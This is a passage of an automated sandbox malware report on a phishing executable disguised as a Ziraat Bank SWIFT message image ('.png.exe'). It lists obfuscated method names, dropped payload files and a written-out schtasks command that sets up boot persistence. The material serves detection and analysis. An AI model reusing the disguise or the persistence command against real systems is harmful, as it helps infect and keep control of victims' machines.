              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641FE71 push es; retn 0004h10_2_0641FE80
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06410036 push es; ret 10_2_06410038
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0680F600 push es; ret 10_2_0680F610
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0680C412 push eax; ret 10_2_0680C419
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06808DF3 push es; ret 10_2_06808DF4
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: section name: .text entropy: 7.869461952514959
              Source: BZTCUCKTKd.exe.0.drStatic PE information: section name: .text entropy: 7.869461952514959
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, vkTlHhcRsw6btUGmFs.csHigh entropy of concatenated method names: 'f5stKrTkiO', 'sP6t7yLSL8', 'Db9tTa84Ea', 'AUrt1IiWRF', 'exWtqBUsOL', 'bcRTWiOPWm', 'DIXTMgmWrQ', 'CO4TLu4URq', 'XtHTdECFX0', 'a8STJ4iGl3'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, Vd0jqIxccV4ad8rCWU.csHigh entropy of concatenated method names: 'ToString', 'VLvGv14oKr', 'PjhGgdkK8Z', 'jlRG8TJkpC', 'dCNGFfPZTl', 'NuXGar4sVF', 'SEmG5knCYH', 'YimGiULn5U', 'mK1G3O73g3', 'hbLGUM0d7b'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, pCnPUPUj5MetnGJrCo.csHigh entropy of concatenated method names: 'WxU1mKGZ8l', 'Bdo1OsT5p8', 's4T1HLbTCp', 'nc91Quhf7L', 'yd31bdyTbu', 'oZJ14w15b9', 'Cy81snqT4N', 'HUH1pEMTJ7', 'Ikb1EBCb5k', 'v8J1YwcT4C'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, hn5qlPppNiRmP7sbFp.csHigh entropy of concatenated method names: 'M1h7h0GdNe', 'T1A7Ay2CBK', 'JTq7xC9TaN', 'e6V7CdghrB', 'hwo7WTHNio', 'cTp7MnuFdr', 'qFD7Lkvw6j', 'Gv77dP9KIQ', 'cQM7JMN2Z0', 'f1k7rXAVAo'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, vJaYIPzScB7GTud18C.csHigh entropy of concatenated method names: 'y8HD4MUqJ8', 'h7kDpbWeOU', 'LrdDET6aYI', 'XXLDcevArt', 'TZSDgG4vgu', 'o2GDFW4pvx', 'AjTDaSQbQv', 'nJ4D2fyeG3', 'uagDmeplgs', 'MmWDOxoqg4'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, A61HeQ99ElVWh71sEMY.csHigh entropy of concatenated method names: 's96DrnwWf4', 'aMRDzgAaNM', 'YNjn62CV3g', 'dGTn9LJ40X', 'pCFnlvTwdm', 'v2xnRy2ttH', 'AdBn0PdbJv', 'KsNnKr3tf7', 'DL6nyXAOIu', 'Lmtn7tJDeX'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, jY4MnnivfYFk4LwNnw.csHigh entropy of concatenated method names: 'feB1yOQ4Nm', 'h581S0NslA', 'QRg1tVKMmx', 'oHKtrK6MeH', 'mo0tzODQci', 'JJl16nhamf', 'NYx19Qv2O3', 'sdf1lMs18K', 'HnH1RewsFR', 'kg410nAOT4'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, JGILNmq5ERBKBeTgX3.csHigh entropy of concatenated method names: 'FQnRKCweY0', 'o6mRyrW8Fe', 'gb3R7F7Fct', 'PrERSc2MJc', 'Er9RTvgvNx', 'A5PRtlgtQb', 'kPdR1vlK8g', 'zEBRq6TL3Y', 'fosRNlG2km', 'W7bRP3K2y3'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, UsPrYylU26TINSHIV2.csHigh entropy of concatenated method names: 'nkHHOsPn0', 'fXIQVDSal', 'znN4ojTcR', 'oNCsKG3CO', 'zYgEgEYLI', 'Tb7YsY21J', 'UKxcg9SCNtMLs1q43q', 'beMCOyH2swCcymiYqs', 't3uwlQPJp', 'GtUDTvqt2'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, pER9bTYhCdHL5rAotI.csHigh entropy of concatenated method names: 'fOETb1wVG2', 'L91TsERRBw', 'cH1S8tf21j', 'hSmSFU0Vk1', 'gi3SaWZLqy', 'WhjS5Ax19T', 'FeUSiRk14h', 'NTOS3xdeg2', 'UxQSUisySZ', 'cBfSuXdMww'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, ojK5W2EdhaXiJpjCYr.csHigh entropy of concatenated method names: 'MBOSQuVJP6', 'nqMS4OEViB', 'XU8Sp8uv4c', 'JLUSEhU2DC', 'cXSSVlSmfu', 'eTGSGtULII', 'xKGSehx4eC', 'OQPSwd0OPy', 'z1ZSkHDWD2', 'mqkSDUBgqR'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, JdyDhQ0RfMSkQr6PW2.csHigh entropy of concatenated method names: 'qiT91n5qlP', 'DNi9qRmP7s', 'wdh9PaXiJp', 'mCY9jrGER9', 'YAo9VtIBkT', 'cHh9GRsw6b', 'IeAyAZC2fqvqTBdEf6', 'CIprlHUBgCBow88fWJ', 'XMK99c1SrH', 'lKG9RgTbCn'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, yNhnOOJGFxk6e3GInP.csHigh entropy of concatenated method names: 'ggEkcAowc1', 'mH4kgmuIu8', 'vmak8Q5c3S', 'jbtkFAlbPw', 'TLZkag4hYr', 'wdyk51TUoX', 'Yhokiy4QnO', 'zv7k32kiA5', 'WUnkUsmTlo', 'WftkuUtLub'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, dY2LGhMvXbvyFns3MQ.csHigh entropy of concatenated method names: 'rG9edhacOG', 's4uer28ZIt', 'LAIw6VckOv', 'jeGw9Ov03J', 'PDCevA8pAP', 'VDbeoCX2UI', 'NXSefSXnBW', 'WCdeh51gcn', 'mlueAje6eR', 'EajexHHeJn'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, u0P0bd7QowMHmsWWAW.csHigh entropy of concatenated method names: 'Dispose', 'fVX9JQBNQS', 'ek1lgedA21', 'PxAdgy7qqo', 'ovE9rT8G63', 'tm59ztTEPF', 'ProcessDialogKey', 'JLOl6NhnOO', 'pFxl9k6e3G', 'onPllCiQJ5'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, emfDZb90oVCoqQoNf4Z.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'XKZXkEqRDd', 'AJMXDlJsNv', 'F4eXnKcNd4', 'T2vXXedYFc', 'xlLXBknRHJ', 'b23XZHLJDZ', 'z59X2w5bqm'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, TiQJ5prpdlgEbqy6Y4.csHigh entropy of concatenated method names: 'gXqDSTbZbR', 'IwCDTk5skI', 'AKADt4vSgc', 'xFYD10OCAH', 'NS7DkTfEcL', 'mg3DqcltA5', 'Next', 'Next', 'Next', 'NextBytes'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, CwrCpGg1VN6tJneS98.csHigh entropy of concatenated method names: 'KMmb2ldmE0pN1bpQinS', 'oNsMD3dYkxXFf0bfMJc', 'IjBtwKwvbe', 'hc7tk0naqq', 'HHttDNveCE', 'yoiiAadlTChrgRPWNnx', 'g8ulgVdtExLsbTRTGrS'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, bscPwAfTBwqKqpklra.csHigh entropy of concatenated method names: 'qohIprSaH9', 'YHTIECqhcp', 'VmNIc92ag9', 'fOnIgbhMri', 'MwtIFnavod', 'kuDIaJO6OE', 'fJSIiISidt', 'oomI3YBPRm', 'JVfIug9lD1', 'ex4IvMwx2W'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, vbRJpmhwHtX87mtI44.csHigh entropy of concatenated method names: 'rQAVuLi508', 'qSPVoUp3H8', 'OxdVhEXTQV', 'y5gVAX4gvm', 'Oa2VgLDsi8', 'VJ3V8HISjZ', 'fBVVF4gov3', 'NHpVa5w117', 'RPvV5KSvg7', 'J9vVif6HYt'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, mryXXj96Mu79U8ftsLf.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PxHDvcnCOW', 'jdgDoIhWbg', 'EmtDffQG3T', 'xeMDhEcJxg', 'hgQDAlJvqN', 'Le5DxLSlZb', 'DQnDCVgguR'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, Ji6lWDSU5hSVGJ1JhX.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'EqIlJUOp9U', 'BIFlrxU6Bg', 'SgQlzgEbrB', 'HxmR6Py5Nf', 'trbR9u6dwj', 'otPRl3sLuJ', 'xyRRRh0pVp', 'MqB8l7xdjlW8aB2eUny'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, pxZIZVCN5JsAiqQYlw.csHigh entropy of concatenated method names: 'aCFePIVw6x', 'lCAej7u3Nb', 'ToString', 'Dkcey4t9ZX', 'hUYe7LNFWo', 'ue4eSFAZCm', 'udjeTnb7F6', 'JpxetuWu78', 'NmUe1t68Fp', 'Vfheqge2DO'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, mowLncLktyVXQBNQSI.csHigh entropy of concatenated method names: 'CDvkVcx6aQ', 'E7Ske4a69g', 'AegkkKwZTM', 'iuiknyBeB2', 'oJLkBIN7B0', 'Qofk2N0FHn', 'Dispose', 'sECwycISjn', 'lNiw7whWIM', 'PbnwSLjMM8'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, vkTlHhcRsw6btUGmFs.csHigh entropy of concatenated method names: 'f5stKrTkiO', 'sP6t7yLSL8', 'Db9tTa84Ea', 'AUrt1IiWRF', 'exWtqBUsOL', 'bcRTWiOPWm', 'DIXTMgmWrQ', 'CO4TLu4URq', 'XtHTdECFX0', 'a8STJ4iGl3'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, Vd0jqIxccV4ad8rCWU.csHigh entropy of concatenated method names: 'ToString', 'VLvGv14oKr', 'PjhGgdkK8Z', 'jlRG8TJkpC', 'dCNGFfPZTl', 'NuXGar4sVF', 'SEmG5knCYH', 'YimGiULn5U', 'mK1G3O73g3', 'hbLGUM0d7b'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, pCnPUPUj5MetnGJrCo.csHigh entropy of concatenated method names: 'WxU1mKGZ8l', 'Bdo1OsT5p8', 's4T1HLbTCp', 'nc91Quhf7L', 'yd31bdyTbu', 'oZJ14w15b9', 'Cy81snqT4N', 'HUH1pEMTJ7', 'Ikb1EBCb5k', 'v8J1YwcT4C'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, hn5qlPppNiRmP7sbFp.csHigh entropy of concatenated method names: 'M1h7h0GdNe', 'T1A7Ay2CBK', 'JTq7xC9TaN', 'e6V7CdghrB', 'hwo7WTHNio', 'cTp7MnuFdr', 'qFD7Lkvw6j', 'Gv77dP9KIQ', 'cQM7JMN2Z0', 'f1k7rXAVAo'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, vJaYIPzScB7GTud18C.csHigh entropy of concatenated method names: 'y8HD4MUqJ8', 'h7kDpbWeOU', 'LrdDET6aYI', 'XXLDcevArt', 'TZSDgG4vgu', 'o2GDFW4pvx', 'AjTDaSQbQv', 'nJ4D2fyeG3', 'uagDmeplgs', 'MmWDOxoqg4'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, A61HeQ99ElVWh71sEMY.csHigh entropy of concatenated method names: 's96DrnwWf4', 'aMRDzgAaNM', 'YNjn62CV3g', 'dGTn9LJ40X', 'pCFnlvTwdm', 'v2xnRy2ttH', 'AdBn0PdbJv', 'KsNnKr3tf7', 'DL6nyXAOIu', 'Lmtn7tJDeX'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, jY4MnnivfYFk4LwNnw.csHigh entropy of concatenated method names: 'feB1yOQ4Nm', 'h581S0NslA', 'QRg1tVKMmx', 'oHKtrK6MeH', 'mo0tzODQci', 'JJl16nhamf', 'NYx19Qv2O3', 'sdf1lMs18K', 'HnH1RewsFR', 'kg410nAOT4'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, JGILNmq5ERBKBeTgX3.csHigh entropy of concatenated method names: 'FQnRKCweY0', 'o6mRyrW8Fe', 'gb3R7F7Fct', 'PrERSc2MJc', 'Er9RTvgvNx', 'A5PRtlgtQb', 'kPdR1vlK8g', 'zEBRq6TL3Y', 'fosRNlG2km', 'W7bRP3K2y3'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, UsPrYylU26TINSHIV2.csHigh entropy of concatenated method names: 'nkHHOsPn0', 'fXIQVDSal', 'znN4ojTcR', 'oNCsKG3CO', 'zYgEgEYLI', 'Tb7YsY21J', 'UKxcg9SCNtMLs1q43q', 'beMCOyH2swCcymiYqs', 't3uwlQPJp', 'GtUDTvqt2'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, pER9bTYhCdHL5rAotI.csHigh entropy of concatenated method names: 'fOETb1wVG2', 'L91TsERRBw', 'cH1S8tf21j', 'hSmSFU0Vk1', 'gi3SaWZLqy', 'WhjS5Ax19T', 'FeUSiRk14h', 'NTOS3xdeg2', 'UxQSUisySZ', 'cBfSuXdMww'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, ojK5W2EdhaXiJpjCYr.csHigh entropy of concatenated method names: 'MBOSQuVJP6', 'nqMS4OEViB', 'XU8Sp8uv4c', 'JLUSEhU2DC', 'cXSSVlSmfu', 'eTGSGtULII', 'xKGSehx4eC', 'OQPSwd0OPy', 'z1ZSkHDWD2', 'mqkSDUBgqR'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, JdyDhQ0RfMSkQr6PW2.csHigh entropy of concatenated method names: 'qiT91n5qlP', 'DNi9qRmP7s', 'wdh9PaXiJp', 'mCY9jrGER9', 'YAo9VtIBkT', 'cHh9GRsw6b', 'IeAyAZC2fqvqTBdEf6', 'CIprlHUBgCBow88fWJ', 'XMK99c1SrH', 'lKG9RgTbCn'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, yNhnOOJGFxk6e3GInP.csHigh entropy of concatenated method names: 'ggEkcAowc1', 'mH4kgmuIu8', 'vmak8Q5c3S', 'jbtkFAlbPw', 'TLZkag4hYr', 'wdyk51TUoX', 'Yhokiy4QnO', 'zv7k32kiA5', 'WUnkUsmTlo', 'WftkuUtLub'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, dY2LGhMvXbvyFns3MQ.csHigh entropy of concatenated method names: 'rG9edhacOG', 's4uer28ZIt', 'LAIw6VckOv', 'jeGw9Ov03J', 'PDCevA8pAP', 'VDbeoCX2UI', 'NXSefSXnBW', 'WCdeh51gcn', 'mlueAje6eR', 'EajexHHeJn'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, u0P0bd7QowMHmsWWAW.csHigh entropy of concatenated method names: 'Dispose', 'fVX9JQBNQS', 'ek1lgedA21', 'PxAdgy7qqo', 'ovE9rT8G63', 'tm59ztTEPF', 'ProcessDialogKey', 'JLOl6NhnOO', 'pFxl9k6e3G', 'onPllCiQJ5'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, emfDZb90oVCoqQoNf4Z.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'XKZXkEqRDd', 'AJMXDlJsNv', 'F4eXnKcNd4', 'T2vXXedYFc', 'xlLXBknRHJ', 'b23XZHLJDZ', 'z59X2w5bqm'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, TiQJ5prpdlgEbqy6Y4.csHigh entropy of concatenated method names: 'gXqDSTbZbR', 'IwCDTk5skI', 'AKADt4vSgc', 'xFYD10OCAH', 'NS7DkTfEcL', 'mg3DqcltA5', 'Next', 'Next', 'Next', 'NextBytes'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, CwrCpGg1VN6tJneS98.csHigh entropy of concatenated method names: 'KMmb2ldmE0pN1bpQinS', 'oNsMD3dYkxXFf0bfMJc', 'IjBtwKwvbe', 'hc7tk0naqq', 'HHttDNveCE', 'yoiiAadlTChrgRPWNnx', 'g8ulgVdtExLsbTRTGrS'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, bscPwAfTBwqKqpklra.csHigh entropy of concatenated method names: 'qohIprSaH9', 'YHTIECqhcp', 'VmNIc92ag9', 'fOnIgbhMri', 'MwtIFnavod', 'kuDIaJO6OE', 'fJSIiISidt', 'oomI3YBPRm', 'JVfIug9lD1', 'ex4IvMwx2W'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, vbRJpmhwHtX87mtI44.csHigh entropy of concatenated method names: 'rQAVuLi508', 'qSPVoUp3H8', 'OxdVhEXTQV', 'y5gVAX4gvm', 'Oa2VgLDsi8', 'VJ3V8HISjZ', 'fBVVF4gov3', 'NHpVa5w117', 'RPvV5KSvg7', 'J9vVif6HYt'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, mryXXj96Mu79U8ftsLf.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PxHDvcnCOW', 'jdgDoIhWbg', 'EmtDffQG3T', 'xeMDhEcJxg', 'hgQDAlJvqN', 'Le5DxLSlZb', 'DQnDCVgguR'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, Ji6lWDSU5hSVGJ1JhX.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'EqIlJUOp9U', 'BIFlrxU6Bg', 'SgQlzgEbrB', 'HxmR6Py5Nf', 'trbR9u6dwj', 'otPRl3sLuJ', 'xyRRRh0pVp', 'MqB8l7xdjlW8aB2eUny'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, pxZIZVCN5JsAiqQYlw.csHigh entropy of concatenated method names: 'aCFePIVw6x', 'lCAej7u3Nb', 'ToString', 'Dkcey4t9ZX', 'hUYe7LNFWo', 'ue4eSFAZCm', 'udjeTnb7F6', 'JpxetuWu78', 'NmUe1t68Fp', 'Vfheqge2DO'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, mowLncLktyVXQBNQSI.csHigh entropy of concatenated method names: 'CDvkVcx6aQ', 'E7Ske4a69g', 'AegkkKwZTM', 'iuiknyBeB2', 'oJLkBIN7B0', 'Qofk2N0FHn', 'Dispose', 'sECwycISjn', 'lNiw7whWIM', 'PbnwSLjMM8'
              Source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'GDRjaSXF49wau', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'GDRjaSXF49wau', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'GDRjaSXF49wau', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeFile created: C:\Users\user\AppData\Local\Temp\Native_snake01.exeJump to dropped file
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeFile created: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeJump to dropped file
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeFile created: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeJump to dropped file

              Boot Survival

              barindex
              Uses schtasks.exe or at.exe to add and modify task schedules
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp"

              Hooking and other Techniques for Hiding and Protection

              barindex
              Loading BitLocker PowerShell Module
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Uses an obfuscated file name to hide its real file extension (double extension)
              Source: Possible double extension: png.exeStatic PE information: Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
